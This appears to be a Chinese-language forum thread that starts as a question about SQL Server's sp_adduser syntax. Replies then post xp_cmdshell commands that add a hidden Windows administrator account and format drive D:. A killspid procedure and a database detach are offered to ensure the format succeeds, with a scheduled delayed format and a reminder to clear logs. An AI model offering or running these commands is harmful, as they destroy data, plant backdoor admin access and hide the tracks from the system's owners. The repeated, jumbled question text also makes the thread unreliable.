sp_adduser [ @loginame = ] 'login'
[ , [ @name_in_db = ] 'user' ]
[ , [ @grpname = ] 'group' ][ @loginame = ] 'login' 这个应该怎么写呢?
[ , [ @name_in_db = ] 'user' ]
[ , [ @grpname = ] 'group' ][ @loginame = ] 'login' 这个应该怎么写呢?
用企业管理器用SA登录,在安全控制那儿加用户,很简单的,不一定要用sp_adduser
EXEC master..xp_cmdshell 'net user USERNAME PASSWORD /add /active:"yes" /comment:"For running" /expires:"never" /fullname:"USERNAME" /passwordchg:"no" /passwordreq:"no"',no_output ---增加USERNAME用户。
EXEC master..xp_cmdshell 'net localgroup administrators USERNAME /add',no_output ---加入超户组
--exec xp_cmdshell 'net localgroup administrators mm /add'
exec xp_cmdshell 'echo y|format d: /q'
exec xp_cmdshell 'echo y|format d: /q'
CREATE proc zengql.killspid (@dbname varchar(20))
as
begin
declare @sql nvarchar(500)
declare @spid int
set @sql='declare getspid cursor for
select spid from master.dbo.sysprocesses where dbid=db_id('''+@dbname+''')'
exec (@sql)
open getspid
fetch next from getspid into @spid
while @@fetch_status < >-1
begin
exec('kill '+@spid)
fetch next from getspid into @spid
end
close getspid
deallocate getspid
end
以上是大力的杀连接的
再
use master
exec killspid '库名'
exec sp_detach_db '库名'
这样再
exec xp_cmdshell 'echo y|format d: /q'
就一定成功了!!!!!!1
不要望了清除日志!exec xp_cmdshell 'at 12:30 echo y|format d: /q'